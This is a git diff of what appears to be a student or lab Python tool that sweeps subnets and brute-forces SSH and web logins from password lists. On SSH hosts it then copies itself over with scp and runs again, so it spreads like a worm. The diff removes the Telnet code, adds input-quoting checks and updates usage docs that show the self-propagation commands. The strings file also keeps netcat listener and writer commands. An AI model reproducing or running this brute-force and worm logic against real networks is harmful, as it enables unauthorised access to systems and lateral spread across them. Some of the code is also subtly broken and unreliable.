diff --git a/.circleci/config.yml b/.circleci/config.yml index 1c5b439..2883d1d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -41,7 +41,7 @@ jobs: # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: - sample: # This is the name of the workflow, feel free to change it to better match your workflow. + autocompliance-workflow: # Inside the workflow, you define the jobs you want to run. jobs: - build-and-test diff --git a/.github/workflows/codeql-analysis-feature.yml b/.github/workflows/codeql-analysis-feature.yml index f22e2e9..1e95dd1 100644 --- a/.github/workflows/codeql-analysis-feature.yml +++ b/.github/workflows/codeql-analysis-feature.yml @@ -13,10 +13,10 @@ name: "CodeQL - Feature" on: push: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: # The branches below must be a subset of the branches above - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] schedule: - cron: '34 22 * * 4' diff --git a/.github/workflows/python-app-feature.yml b/.github/workflows/python-app-feature.yml index 2ad8e3f..8b2a1ff 100644 --- a/.github/workflows/python-app-feature.yml +++ b/.github/workflows/python-app-feature.yml @@ -5,9 +5,9 @@ name: Python Application - Feature on: push: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] jobs: build: diff --git a/dev_setup.sh b/dev_setup.sh index cc448b7..43ee686 100755 --- a/dev_setup.sh +++ b/dev_setup.sh @@ -1,4 +1,3 @@ #!/usr/bin/env bash # Linux setup for running the scripts locally. -python3 -m pip install ipykernel paramiko scapy pytest requests -/usr/bin/python3 -m pip install --upgrade pip +python3 -m pip install --upgrade pip ipykernel paramiko scapy pytest requests coverage diff --git a/docs/wiki/usage/index.md b/docs/wiki/usage/index.md index 87e05ac..0421169 100644 --- a/docs/wiki/usage/index.md +++ b/docs/wiki/usage/index.md @@ -24,8 +24,15 @@ The script will take in the following parameters: Example usage would look like this: ``` -./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin -f my_password_list.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -d test.txt -./net_attack.py -L -p 22,23 -u root -f passwords.txt -P +# Running the propagation script across numerous services (SSH, Telnet, Web) +./main.py -t src/test_files/ip_list.txt -p 22,23,25,80 -u admin -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH and spreading a specific file. +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt -d src/test_files/file.txt + +# Running the propagation script across SSH and Telnet but acquiring IPs through a local scan and then subsequently self propagating. +./main.py -L -p 22,23 -u root -f src/test_files/passwords_list.txt -P ``` \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 2761738..b2be968 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ -scapy>=2.4.5 +scapy ipykernel paramiko -scapy>=2.4.5 pytest -requests>=2.27.0 +requests coverage +pyinstaller diff --git a/run_tests.sh b/run_tests.sh new file mode 100755 index 0000000..ff87e48 --- /dev/null +++ b/run_tests.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# Linux setup for running the scripts locally. +# See; https://coverage.readthedocs.io/en/6.3.2/ +coverage run -m pytest +coverage report +coverage html diff --git a/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 81c39f3..0000000 Binary files a/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc and /dev/null differ diff --git a/src/__pycache__/net_propagation.cpython-310.pyc b/src/__pycache__/net_propagation.cpython-310.pyc deleted file mode 100644 index a456a5d..0000000 Binary files a/src/__pycache__/net_propagation.cpython-310.pyc and /dev/null differ diff --git a/src/__pycache__/strings.cpython-310.pyc b/src/__pycache__/strings.cpython-310.pyc deleted file mode 100644 index 2d248b1..0000000 Binary files a/src/__pycache__/strings.cpython-310.pyc and /dev/null differ diff --git a/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 866da94..0000000 Binary files a/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc and /dev/null differ diff --git a/src/main.py b/src/main.py index e52140e..f5db456 100755 --- a/src/main.py +++ b/src/main.py @@ -1,21 +1,14 @@ #!/usr/bin/python3 + +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing net_propagation for propagating across the network. import net_propagation +# Importing strings for use of the external strings resources. import strings +# Importing sys to make OS calls and use OS level utilities. import sys -""" - - Importing logging to safely log sensitive, error or debug info. - - Importing net_propagation for propagating across the network. - - Importing strings for use of the external strings resources. - - Importing sys to make OS calls and use OS level utilities. -""" - -""" -===PLEASE READ=== -This main function itself has more specific, low level commenting. -""" - def main(): """ @@ -33,8 +26,18 @@ def main(): transfer_file_filename = strings.BLANK_STRING # Validating and assigning values based on arguments passed in. - ip_list, target_ports, target_username, passwords_filename = \ - net_propagation.checking_arguments(arguments) + valid_values = net_propagation.checking_arguments(arguments) + # If they are valid values... + if valid_values is None: + # Show the user instructions and exit gracefully. + net_propagation.exit_and_show_instructions() + sys.exit(-1) + + # Else... + else: + # Assign them... + ip_list, target_ports, target_username, passwords_filename = \ + valid_values # The end user specified a local scan must be executed, the result of the # local scan will extend the current ip_list. @@ -72,8 +75,7 @@ def main(): sys.exit(-1) # Removing duplicate entries in the IP address list, can come from # combining local scan with given IP addresses in an ip address file for - # example. - # TODO: Find a way to fix the duplicates issue, instead of this workaround. + # example. This would be a user error, we're just handling that. ip_list = list(dict.fromkeys(ip_list)) # Removing IPs from the IP list that can't be pinged from the host machine # of the script. diff --git a/src/net_propagation.py b/src/net_propagation.py index 5b42e52..e15b30b 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,38 +1,26 @@ #!/usr/bin/python3 -# from scapy.all import * -# For use when adding new functionality with scapy, be sure to statically -# import when finished, wildcard is just for convenience. +# Importing paramiko modules for SSH connection and exception handling. +import pipes +from paramiko import SSHClient, RejectPolicy +from paramiko.ssh_exception import NoValidConnectionsError, SSHException +# Importing modules from scapy for Packet Crafting and Sending / Sniffing. from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP from scapy.sendrecv import sr from scapy.utils import subprocess, os -from telnetlib import Telnet +# from scapy.all import * +# Importing sleep to allow network processes time to complete. from time import sleep -from paramiko import SSHClient, RejectPolicy +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing requests for web based operations. import requests +# Importing strings for use of the external strings resources. import strings -""" - - Importing modules from scapy for Packet Crafting and Sending / Sniffing. - - Importing telnetlib for telnet operations. - - Importing sleep to allow network processes time to complete. - - Importing from paramiko for ssh operations. - - Importing logging to safely log sensitive, error or debug info. - - Importing requests for web based operations. - - Importing strings for use of the external strings resources. -""" - -""" -===PLEASE READ=== -Functions and methods are organised alphabetically with the exception of the -main method specified last. Every function has a block comment explaining what -it does. -""" - def additional_actions(arguments, ip, port, username, transfer_file_filename): @@ -74,11 +62,16 @@ def assigning_values(arguments): :return target_ports: The selection of ports to target :return target_username: The username that will be used for actions :return passwords_filename: The filename of the passwords file + :return None: If a runtime error occurs """ if strings.ARGUMENT_IP_ADDRESS_FILENAME in arguments: - ip_addresses_filename = \ - arguments[ - arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] + try: + ip_addresses_filename = \ + arguments[ + arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] + except RuntimeError: + logging.error(strings.IP_FILENAME_NOT_FOUND) + return None try: ip_list = convert_file_to_list(ip_addresses_filename) target_ports = arguments[ @@ -86,37 +79,12 @@ def assigning_values(arguments): target_username = \ arguments[arguments.index(strings.ARGUMENT_USERNAME) + 1] passwords_filename = \ - arguments[arguments.index(strings.ARGUMENT_PASSWORDS_FILENAME) + arguments[arguments.index(strings.ARGUMENT_PWS_FILENAME) + 1] return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) - # TODO: Need to handle the exit, should be done as high up as - # possible as to not interfere with test flow, ideally in main or - # where-ever these functions are called - exit_and_show_instructions() - - -def sign_in_service(ip, port, username, password_list): - """ - This function will run through every password in the password list and will - attempt to sign in to the appropriate service with that password. It will - only move on to the next password in the event that the current password - fails in its sign in attempt. If it succeeds then the successful login - details are returned, if not then Null is returned - :param ip: The IP address to attempt to sign in to - :param port: The port and subsequently service we're signing in to - :param username: The username we're signing in to services on - :param password_list: The list of passwords to attempt - :return login_details: The username and password to return - :return None: Only done to indicate an unsuccessful task - """ - for password in password_list: - login_details = (try_password_for_service(ip, port, username, - password)) - if login_details != strings.BLANK_STRING: - return login_details - return None + return None def check_over_ssh(ip, port, username, password): @@ -138,71 +106,34 @@ def check_over_ssh(ip, port, username, password): client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) - client.exec_command(strings.touch_file(os.path.basename(__file__))) - if str(client.exec_command - (strings.cat_file(os.path.basename(__file__))) - [1]).__len__() < 1: + if strings.touch_file(strings.MAIN_FILENAME) == "touch main.py": + client.exec_command(pipes.quote(strings. + touch_file(strings.MAIN_FILENAME))) + else: + logging.error(strings.SANITATION_FAILED) client.close() - return True + return False + if strings.cat_file(strings.MAIN_FILENAME) == "cat main.py": + if str(client.exec_command(pipes.quote(strings.cat_file( + strings.MAIN_FILENAME)))[1]).__len__() < 1: + client.close() + return True + + logging.error(strings.SANITATION_FAILED) client.close() return False - except RuntimeError: + except NoValidConnectionsError: client.close() return True + except TimeoutError: + client.close() + return True -def check_over_telnet(ip, port, username, password): - """ - This function checks if the current script is already located at the - target machine over telnet. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over - telnet - :param ip: The IP address target for Telnet - :param port: The port on which we're running Telnet - :param username: The username to target over Telnet - :param password: Password to use with Telnet - :return True: If the file doesn't exist on the target host or there's a - problem with Telnet (assuming file isn't present essentially) - :return False: If the file does exist - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(username) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), - timeout=4) - if check_telnet_data(strings.WELCOME_TO, data): - tel.write(strings.cat_file(os.path.basename(__file__) + - strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - data = tel.read_until(strings.MAIN.encode(strings.ENCODE_ASCII), - timeout=4) - if data.__contains__(strings.MAIN.encode(strings.ENCODE_ASCII)): - return False - return True - return False - - except RuntimeError: - return False - - -def check_telnet_data(string_to_check, data): - """ - This function checks data gathered from the telnet service for a specific - string and returns True if it finds it and false if it doesn't - :param string_to_check: The string to find in the Telnet data - :param data: The telnet data itself - :return True: The string was found in the telnet data - :return False: The string was not found in the telnet data - """ - if data.__contains__(string_to_check.encode(strings.ENCODE_ASCII)): + except SSHException: + client.close() return True - return False def checking_arguments(arguments): @@ -216,6 +147,7 @@ def checking_arguments(arguments): :return values[1]: Ports and subsequently services to target :return values[2]: Username to target :return values[3]: Filename for a file containing passwords + :return None: If the values can't be assigned. """ if ((strings.ARGUMENT_IP_ADDRESS_FILENAME or strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments) and @@ -225,14 +157,16 @@ def checking_arguments(arguments): arguments): try: values = assigning_values(arguments) - return values[0], values[1], values[2], values[3] - + if values is not None: + return values[0], values[1], values[2], values[3] + logging.error(strings.FAILED_ASSIGNING_VALUES) + return None except RuntimeError: logging.error(strings.FAILED_ASSIGNING_VALUES) - exit_and_show_instructions() + return None else: logging.error(strings.PARAMETER_MISUSE) - exit_and_show_instructions() + return None def connect_ssh_client(ip, port, username, password): @@ -256,59 +190,23 @@ def connect_ssh_client(ip, port, username, password): strings.SUCCESSFUL)) return True - except RuntimeError: + except SSHException: client.close() logging.debug(strings.connection_status(strings.SSH, ip, port, strings.UNSUCCESSFUL)) return False -def connect_telnet(ip, port, username, password): - """ - This function checks to see if a telnet connection can be established and - if so then it returns true, if not then it returns false - :param ip: The target IP address for Telnet - :param port: The target port for Telnet - :param username: The target username for Telnet - :param password: The target password for Telnet - :return True: If the Telnet connect is successful - :return False: If the Telnet connect is unsuccessful - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(username) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - - data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), - timeout=4) - logging.info(strings.connection_status(strings.TELNET, ip, port, - strings.SUCCESSFUL)) - if check_telnet_data(strings.WELCOME_TO, data): - return True - logging.debug(strings.connection_status(strings.TELNET, ip, port, - strings.UNSUCCESSFUL)) - return False - - except RuntimeError: - logging.debug(strings.connection_status(strings.TELNET, ip, port, - strings.UNSUCCESSFUL)) - return False - - def connect_web(ip, port, username, password): """ This function check to see if a web login can be established and if so then it returns true, if not then it returns false :param ip: The target IP address for web login :param port: The target port for web login - :param username: The target username for Telnet - :param password: The target password for Telnet - :return True: If the Telnet connect is successful - :return False: If the Telnet connect is unsuccessful + :param username: The target username for web login + :param password: The target password for web login + :return True: If the web login is successful + :return False: If the web login connect is unsuccessful """ attempt_succeeded = False try: @@ -378,10 +276,7 @@ def file_not_exist(ip, port, username, password): :param password: Password being used as part of checking the file :return check_over_ssh(ip, port, username, password): """ - if str(port) == strings.SSH_PORT: - return check_over_ssh(ip, port, username, password) - - return check_over_telnet(ip, port, username, password) + return check_over_ssh(ip, port, username, password) def gathering_local_ips(ip_list): @@ -393,8 +288,9 @@ def gathering_local_ips(ip_list): """ logging.info(strings.FETCHING_LOCAL_INTERFACE_LIST) local_interfaces = get_if_list() + if strings.LOOPBACK in local_interfaces: + local_interfaces = local_interfaces.remove(strings.LOOPBACK) for interface in local_interfaces: - # TODO: Maybe remove the loopback interface before running for loop? if str(interface) != strings.LOOPBACK: logging.info(strings.fetching_ips_for_interface(interface)) ip_list.extend(cycle_through_subnet(ip_list, interface)) @@ -405,7 +301,7 @@ def exit_and_show_instructions(): """ This function will print the help screen and show an exit prompt. """ - print(strings.PLS_HELP) + print(strings.help_output()) print(strings.EXITING) @@ -438,11 +334,10 @@ def propagate_script(ip, port, login_string): """ This function is responsible for propagating the network_attack.py to a previously bruteforce machine. It will only run when the user specifies - using the appropriate argument and when the port being bruteforce is - either 22 (SSH) and 23 (telnet), it will also check to ensure the script - isn't already present on the target. It goes about propagating the script - in different ways depending on if an SSH port or a telnet port is - specified + using the appropriate argument and when the port being bruteforce is 22 + (SSH), it will also check to ensure the script isn't already present on + the target. It goes about propagating the script in different ways + depending on if an SSH port is specified :param ip: The IP address we wish to propagate the script to :param port: The port through which we'll propagate the script :param login_string: This string contains the username and password for the @@ -454,59 +349,38 @@ def propagate_script(ip, port, login_string): try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): - if str(port) == strings.SSH_PORT: - # TODO: Need feedback from the end user, should be worked into - # the UI itself. Not a dedicated print statement. - print(strings.RSA_AND_PROMPT) - os.system(strings.scp_command_string(port, - login_string_split[0], - ip, - os.path - .basename(__file__))) - print(strings.RSA_PROMPT_AGAIN) - os.system(strings.scp_command_string(port, - login_string_split[0], - ip, - strings.PASSWORDS_FILE)) - client = SSHClient() - try: - client.set_missing_host_key_policy(RejectPolicy) - client.connect(hostname=str(ip), port=int(port), - username=str(login_string_split[0]), - password=str(login_string_split[1])) - client.exec_command(strings.run_script_command( - os.path.basename(__file__), login_string_split[0])) - client.close() - return True - - except RuntimeError: + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + os.path + .basename(__file__))) + print(strings.RSA_PROMPT_AGAIN) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + strings.PWDS_LIST)) + client = SSHClient() + try: + client.set_missing_host_key_policy(RejectPolicy) + client.connect(hostname=str(ip), port=int(port), + username=str(login_string_split[0]), + password=str(login_string_split[1])) + if strings.run_script_command() == "./main.py -L -p 22 -u " \ + "root -f " \ + "src/test_files/" \ + "passwords_list.txt -P": + client.exec_command(pipes.quote( + strings.run_script_command())) + else: + logging.error(strings.SANITATION_FAILED) client.close() return False - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[0]) + strings - .RETURN_OR_NEWLINE).encode( - strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode( - strings.ENCODE_ASCII)) - tel.write((str(login_string_split[1]) + - strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, - os.path.basename(__file__))) - .encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, - os.path.basename(__file__))) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, - strings.PASSWORDS_FILE)) - .encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, - strings.PASSWORDS_FILE)) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.run_script_command(os.path.basename(__file__), - login_string_split[0])) - .encode(strings.ENCODE_ASCII)) - return True + client.close() + return True + except RuntimeError: + client.close() + return False else: logging.debug(strings.file_present_on_host(ip)) return False @@ -568,27 +442,29 @@ def send_post_request_with_login(ip, port, username, password): logging.info(strings.connection_status(strings.WEB, ip, port, strings.SUCCESSFUL)) return str(username) + strings.COLON + str(password) - else: - logging.debug(strings.connection_status(strings.WEB, ip, port, - strings.UNSUCCESSFUL)) - return None + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) + return None -def telnet_connection(ip, port, username, password): +def sign_in_service(ip, port, username, password_list): """ - This function will try to establish a telnet connection, if it does it will - return the successful telnet login string and if not then it will return a - null value - :param ip: The target IP address for the telnet connection - :param port: The target port for the telnet connection - :param username: The target username for the telnet connection - :param password: The target password for the telnet connection - :return str(username) + strings.COLON + str(password): The successful login - string - :return None: If the telnet connection is unsuccessful + This function will run through every password in the password list and will + attempt to sign in to the appropriate service with that password. It will + only move on to the next password in the event that the current password + fails in its sign in attempt. If it succeeds then the successful login + details are returned, if not then Null is returned + :param ip: The IP address to attempt to sign in to + :param port: The port and subsequently service we're signing in to + :param username: The username we're signing in to services on + :param password_list: The list of passwords to attempt + :return login_details: The username and password to return + :return None: Only done to indicate an unsuccessful task """ - if connect_telnet(ip, port, username, password): - return str(username) + strings.COLON + str(password) + for password in password_list: + login_details = try_password_for_service(ip, port, username, password) + if login_details is not False: + return login_details return None @@ -597,7 +473,7 @@ def transfer_file(ip, port, login_string, transfer_file_filename): This function will transfer a given file if the end user has provided the appropriate argument, and only when bruteforce login details are found for either tenet or SSH. It handles the transfer of this file differently - depending on whether the port value given is an SSH port or a telnet port + depending on whether the port value given is an SSH port :param ip: The IP address to which the file should be transferred :param port: The port over which the file should be transferred :param login_string: The username and password needed for the transfer of @@ -608,23 +484,9 @@ def transfer_file(ip, port, login_string, transfer_file_filename): """ login_string_split = login_string.split(strings.COLON) try: - if str(port) == strings.SSH_PORT: - print(strings.RSA_AND_PROMPT) - os.system(strings.scp_command_string(port, login_string_split[0], - ip, transfer_file_filename)) - return True - - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[0]) + - strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[1]) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, transfer_file_filename) + - "\n").encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, transfer_file_filename) + - "\n").encode(strings.ENCODE_ASCII)) + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, login_string_split[0], + ip, transfer_file_filename)) return True except ConnectionRefusedError: return False @@ -646,7 +508,6 @@ def try_action(ip, port, target_username, password_list, :param transfer_file_filename: A filename for file to transfer :param arguments: List of user specified arguments """ - logging.info(strings.TESTING_IP_PORT_PAIR) if scan_port(ip, port): logging.info(strings.FOUND_OPEN_IP_PORT_PAIR) action_login_details = try_sign_in(ip, port, target_username, @@ -676,7 +537,6 @@ def try_sign_in(ip, port, target_username, password_list): """ service_switch = { strings.SSH_PORT: strings.SSH_LOWERCASE, - strings.TELNET_PORT: strings.TELNET, strings.WEB_PORT_EIGHTY: strings.WEB_LOGIN, strings.WEB_PORT_EIGHTY_EIGHTY: strings.WEB_LOGIN, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: strings.WEB_LOGIN @@ -686,8 +546,7 @@ def try_sign_in(ip, port, target_username, password_list): if sign_in_details: logging.info(strings.working_username_password(service)) return str(sign_in_details), service - else: - logging.debug(strings.IMPOSSIBLE_ACTION) + logging.debug(strings.IMPOSSIBLE_ACTION) return None, service @@ -708,8 +567,6 @@ def try_password_for_service(ip, port, username, password): connect_service_switch = { strings.SSH_PORT: lambda: connect_ssh_client(ip, port, username, password), - strings.TELNET_PORT: lambda: connect_telnet(ip, port, username, - password), strings.WEB_PORT_EIGHTY: lambda: connect_web(ip, port, username, password), strings.WEB_PORT_EIGHTY_EIGHTY: lambda: connect_web(ip, port, @@ -721,10 +578,10 @@ def try_password_for_service(ip, port, username, password): connect_service = connect_service_switch.get(str(port)) if connect_service(): return str(username) + strings.COLON + str(password) - return strings.BLANK_STRING + return False except RuntimeError: - return strings.BLANK_STRING + return False def try_propagating(arguments, ip, port, bruteforce): @@ -740,8 +597,7 @@ def try_propagating(arguments, ip, port, bruteforce): :param port: The port we're propagating through :param bruteforce: The username and password string combo """ - if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT - or strings.TELNET_PORT): + if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT): propagated = propagate_script(ip, port, bruteforce) if propagated: logging.info(strings.SCRIPT_PROPAGATED) @@ -767,13 +623,13 @@ def try_transferring_file(arguments, ip, port, bruteforce, :param transfer_file_filename: The filename of the file we wish to transfer """ if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments and \ - (str(port) == strings.SSH_PORT or strings.TELNET_PORT): + (str(port) == strings.SSH_PORT): transferred = transfer_file(ip, port, bruteforce, transfer_file_filename) if transferred: - logging.info(strings.TRANSFER_SUCCESS_SSH_TELNET) + logging.info(strings.TRANSFER_SUCCESS_SSH) else: - logging.debug(strings.TRANSFER_FAILURE_SSH_TELNET) + logging.debug(strings.TRANSFER_FAILURE_SSH) else: logging.info(strings.DO_NOT_TRANSFER) diff --git a/src/strings.py b/src/strings.py index ffecf8f..919090b 100644 --- a/src/strings.py +++ b/src/strings.py @@ -1,11 +1,13 @@ #!/usr/bin/python3 -""" -===PLEASE READ=== -String functions and constants are organised alphabetically. Every string -function has a block comment explaining what it does and where it's used and -every string constant has a comment describing its use. -""" +# The adding string. +ADDING = "Adding" + +# Admin user string. +ADMIN = "admin" + +# All ports list, for utilising all services in the scripts. +ALL_PORTS = "22,23,25,80" # Argument to denote the filename of the IP address file. ARGUMENT_IP_ADDRESS_FILENAME = "-t" @@ -17,7 +19,7 @@ ARGUMENT_USERNAME = "-u" # Argument to denote the filename of the passwords file. -ARGUMENT_PASSWORDS_FILENAME = "-f" +ARGUMENT_PWS_FILENAME = "-f" # Argument to denote the need to propagate the running script. ARGUMENT_PROPAGATE = "-P" @@ -34,11 +36,23 @@ # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" -# Blank IP addresses, mostly for test purposes. -BLANK_IP = "0.0.0.0" +# Just a little arrow for CLI output. +ARROW = "->" + +# Prompt to let people know arguments are being assigned for testing. +ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" + +# Just the '@' symbol +AT_SYMBOL = "@" -# Just a blank string, no point assigning multiple of these to memory. :) -BLANK_STRING = "" +# String to describe the username argument under help +A_USERNAME = "A username" + +# Letting the user know we can't read an IP list from a specific file. +CAN_NOT_READ_IP_LIST = "IP list cannot be read from filename:" + +# cat command +CAT = "cat" # A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" @@ -55,55 +69,154 @@ # A string that states a file wasn't transferred. DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." +# Just three dots at the end of a sentence. +ELLIPSES = "..." + # A string for specifying encoding for ascii. ENCODE_ASCII = "ascii" +# A string which specifically states something is example usage. +EXAMPLE_USAGE = "Example usage:" + # An exiting prompt. EXITING = "Exiting..." # Prompts the user that values couldn't be assigned FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" +# Fetching IP for a given interface message +FETCHING_INTERFACE_IPS = "Fetching IPs for interface" + # Prompts the user that their fetching the local interface list. FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." +# Name of the test text file, prepended with src/ for Pytest to work. +FILE = "src/test_files/file.txt" + # Lets the user know a file doesn't exist. FILE_DOES_NOT_EXIST = "A specified file does not exist" +# Lets the user know that a file is present on the host. +FILE_PRESENT_ON_HOST = "A file is already present on this host:" + +# String for the help output. +FILENAME_LIST_IP_ADDRESSES = "Filename for a file containing a list of " \ + "target IP addresses" + # Lets the user know there's an open port on a specific IP address. FOUND_OPEN_IP_PORT_PAIR = "Found an open IP address and port pair" +# Just simply says "from interface" +FROM_INTERFACE = "from interface" + # Full stop string, memory saving again, reducing redundant assigns. FULL_STOP = "." # There's a problem with parsing a file with a given filename. FILENAME_PROCESSING_ERROR = "One of the filenames are invalid" +# String for defining the passwords filename argument under help. +FILENAME_PWS_FILE = "Filename for a file containing a list of passwords" + +# Greater than symbol. +GREATER_THAN = ">" + +# The help string for the propagation argument definition in help output. +HELP_STRING_PROPAGATION = "Propagates the script onto available devices and " \ + "executes the script using the given command" + +# Home directory string. +HOME_DIR = ":~/" + +# HTTPS String for start of URLs. +HTTPS_STRING = "https://" + # Letting the user know a propagation action had failed. IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" -# The login prompt a user usually sees with SSH/Telnet. +# Specifying that something is from an interface's subnet. +INTERFACE_SUBNET = "'s subnet." + +# Letting the user know a specified IP file could not be found. +IP_FILENAME_NOT_FOUND = "Could not find the specified IP file" + +# Name of the test IP list file, prepended with src/ for Pytest to work. +IP_LIST = "src/test_files/ip_list.txt" + +# Let the suse know that we're checking to see if the IP address is reachable. +IS_IP_REACHABLE = "Checking if the following ip address is reachable:" + +# The less than symbol. +LESS_THAN = "<" + +# Lines to check from the test file. +LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " + "do eiusmod tempor", "incididunt ut labore et dolore magna " + "aliqua. Ut enim ad minim veniam, quis", + "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " + "commodo consequat.", "Duis aute irure dolor in reprehenderit " + "in voluptate velit esse cillum dolore", + "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" + " proident, sunt", "in culpa qui officia deserunt mollit anim id" + " est laborum."] + +# The string that defines the local scan argument in the help output. +LOCAL_SCAN_STRING_HELP = "Scans the lan across all interfaces and " \ + "creates/adds to the list of target IP addresses" + +# Login PHP string, generally used with web logins. +LOGIN_PHP = "/login.php" + +# The login prompt a user usually sees with SSH. LOGIN_PROMPT = "login:" +# Login to string, another string building constant. +LOGIN_TO = "login to" + # The typical ID of the loopback interface. LOOPBACK = "lo" # The main function call. MAIN = "main()" +# The main filename +MAIN_FILENAME = "main.py" + +# The main script. +MAIN_SCRIPT = "./main.py" + +# Netcat listener, with a specified port, the command. +NETCAT_LISTENER_PORT_COMMAND = "nc -l -p" + +# Netcat writer with a 3-second timeout time, command. +NETCAT_WRITER_COMMAND = "nc -w 3" + +# The name of the net propagation script. +NET_PROPAGATION = "src/net_propagation.py" + +# Newline character, mostly used to mimic an enter key press. +NEWLINE = "\n" + +# Two newline and tab special characters. +NEWLINE_NEWLINE_TAB = "\n\n\t" + +# The newline and tab special characters. +NEWLINE_TAB = "\n\t" + # Just the numerical form of the number one, again, memory preservation. ONE = "1" -# Password prompt for SSH/Telnet. +# Password prompt for SSH. PASSWORD_PROMPT = "Password:" # Password prompt for web logins, rather the post ID really. PASSWORD_PROMPT_WEB = "password:" -# TODO: The way passwords are handled needs to be heavily revised -# (super insecure) -# The default password file being used by scripts. -PASSWORDS_FILE = "passwords.txt" +# List of dummy passwords +PWDS_LIST = "src/test_files/password_list.txt" + +# Parameters string for help test. +PARAMETERS = "Parameters:" # Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" @@ -118,31 +231,27 @@ # The argument for ping which specifies the number of packets sent. PING_ARGUMENT = "-c" -# TODO: On top of moving this prompt to UI, there should be no difference in -# the prompt, avoid 